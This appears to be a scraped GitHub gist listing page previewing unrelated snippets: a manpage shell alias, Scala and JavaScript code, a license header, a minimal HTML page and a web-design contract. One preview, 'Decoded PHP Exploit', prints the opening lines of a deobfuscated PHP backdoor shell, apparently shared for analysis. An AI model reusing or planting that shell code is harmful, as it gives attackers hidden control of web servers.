Skip to content

Instantly share code, notes, and snippets.

# Short of learning how to actually configure OSX, here's a hacky way to use
# GNU manpages for programs that are GNU ones, and fallback to OSX manpages otherwise
alias man='_() { echo $1; man -M $(brew --prefix coreutils)/libexec/gnuman $1 1>/dev/null 2>&1; if [ "$?" -eq 0 ]; then man -M $(brew --prefix coreutils)/libexec/gnuman $1; else man $1; fi }; _'
implicit def writeableOf_AnyContentAsMultiPartFormData(implicit codec: Codec): Writeable[AnyContentAsMultipartFormData] = {
writeableOf_multiPartFormData(codec).map(c => c.asMultipartFormData.getOrElse(MultipartFormData(Map(), List(), List(), List())))
}
sealed abstract class LoyaltyDomain(val id: String) {
def name = {
this match {
case LoyaltyDomain.ANDROID => "Android"
case LoyaltyDomain.IOS => "iOS"
case LoyaltyDomain.AMAZON => "Amazon"
case LoyaltyDomain.WINPHONE => "Windows Phone"
case LoyaltyDomain.WINSTORE => "Windows Store"
// ???
/**
* Example of assigning a constructor to module.exports and methods to its
* prototype.
* @module
*/
/** @constructor */
module.exports = function() {};
/** An instance method. */
import scala.collection.mutable.Builder
import scala.collection.TraversableLike
import scala.concurrent.Future
class AsyncMapBuilder[A, B, Coll <: AsyncMap[A, B]](empty: Coll)
extends Builder[(A, B), Coll]
{
protected var elems: Coll = empty
#
# Copyright:: Copyright (c) 2009 Opscode, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
@mkantor
mkantor / decoded.php
Created September 14, 2012 02:06
Decoded PHP Exploit
<?php
$language='eng';$auth = 1;$authp = "259d9c27e4be1b3c1c1020eca89c90c1";
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = "0.76";
@mkantor
mkantor / gist:3837424
Created October 5, 2012 00:55
A valid HTML document
<!doctype html>
<title>Believe it or not, this is a valid HTML document</title>
<br />
@mkantor
mkantor / Contract Killer 3.md
Created November 24, 2012 18:50 — forked from malarkey/Contract Killer 3.md
The latest version of my ‘killer contract’ for web designers and developers

Contract Killer 3

Revised date: 07/11/2012

Between us [company name] and you [customer name]

Summary:

We’ll always do our best to fulfil your needs and meet your expectations, but it’s important to have things written down so that we both know what’s what, who should do what and when, and what will happen if something goes wrong. In this contract you won’t find any complicated legal terms or long passages of unreadable text. We’ve no desire to trick you into signing something that you might later regret. What we do want is what’s best for both parties, now and in the future.